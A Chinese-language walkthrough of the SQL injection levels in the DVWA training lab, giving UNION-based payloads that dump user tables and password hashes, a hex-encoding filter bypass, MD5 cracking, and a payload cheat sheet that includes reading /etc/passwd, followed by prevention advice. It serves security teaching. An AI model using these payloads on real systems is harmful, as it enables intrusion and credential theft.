DVWA SQL Injection SQL注入通关教程
漏洞简介
SQL 注入,老牌漏洞之王了。简单说就是把恶意 SQL 语句塞到用户输入里,让数据库帮你执行。能读数据、改数据、删数据,运气好还能拿 shell。
这关主要学怎么通过 SQL 注入把数据库里的敏感信息拖出来。
注入类型
| 类型 | 说明 |
|---|---|
| 联合注入 | 用 UNION 合并查询结果 |
| 报错注入 | 从报错信息里拿数据 |
| 盲注 | 没回显,靠条件判断 |
| 时间盲注 | 靠响应时间判断 |
Low 级别
看代码:
1 | $id = $_REQUEST[ 'id' ]; |
用户输入直接拼进 SQL 语句,经典的注入点。
攻击过程
第一步:测注入点
输入个单引号 1',看反应:
1 | You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 |
报错了,确认有注入点。
第二步:数字段
用 order by 测试:
1 | 1' order by 1# 正常 |
说明查了 2 个字段。
第三步:找回显位置
1 | -1' union select 1,2# |

两个位置都能回显。
第四步:查数据库
1 | -1' union select 1,database()# |

数据库名是 dvwa。
第五步:查表
1 | -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |

有两个表:guestbook 和 users。
第六步:查字段
1 | -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# |

字段挺多,关键是 user 和 password。
第七步:拖库
1 | -1' union select user,password from users# |

拿到用户名和密码了,密码是 MD5 加密的。
第八步:破密码
找个 MD5 解密网站:
1 | 5f4dcc3b5aa765d61d8327deb882cf99 -> password |

搞定。
Medium 级别
Medium 用了 mysql_real_escape_string() 转义:
1 | $id = $_POST[ 'id' ]; |
单引号双引号都被转义了,但注意看 SQL 语句,$id 没有用引号包起来,是数字型注入。
攻击方法
因为是 POST 提交,得用 Burp 抓包改。
判断字段:
1 | id=-1 order by 2# |
联合注入:
1 | id=-1 union select 1,database()# |
绕过单引号过滤:
查字段名的时候要用 table_name='users',但单引号被转义了。用十六进制绕过:
1 | id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# |
0x7573657273 就是 users 的十六进制。
High 级别
High 级别从 session 取参数,还在另一个页面显示结果:
1 | $id = $_SESSION[ 'id' ]; |
加了个 LIMIT 1,以为能限制结果数量?注释掉不就行了。
攻击方法
直接注入,用 # 注释掉后面的 LIMIT 1:
1 | -1' union select user,password from users# |
照样拖库。
Impossible 级别
Impossible 级别用了 PDO 预处理:
1 | $id = $_GET[ 'id' ]; |
SQL 和参数分离,预处理之后参数不会被当成 SQL 执行,这才是正确的姿势。
常用 Payload 速查
| Payload | 用途 |
|---|---|
' |
测注入点 |
1' or '1'='1 |
永真 |
1' order by n# |
数字段 |
-1' union select 1,database()# |
查库名 |
-1' union select 1,version()# |
查版本 |
-1' union select 1,user()# |
查用户 |
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
查表 |
-1' union select 1,load_file('/etc/passwd')# |
读文件 |
小结
SQL 注入防护要点:
- 用预处理语句,别拼接 SQL
- 输入要验证,数字就验证是不是数字
- 错误信息别暴露太详细
- 数据库用户权限给最小够用的
- 密码加密存储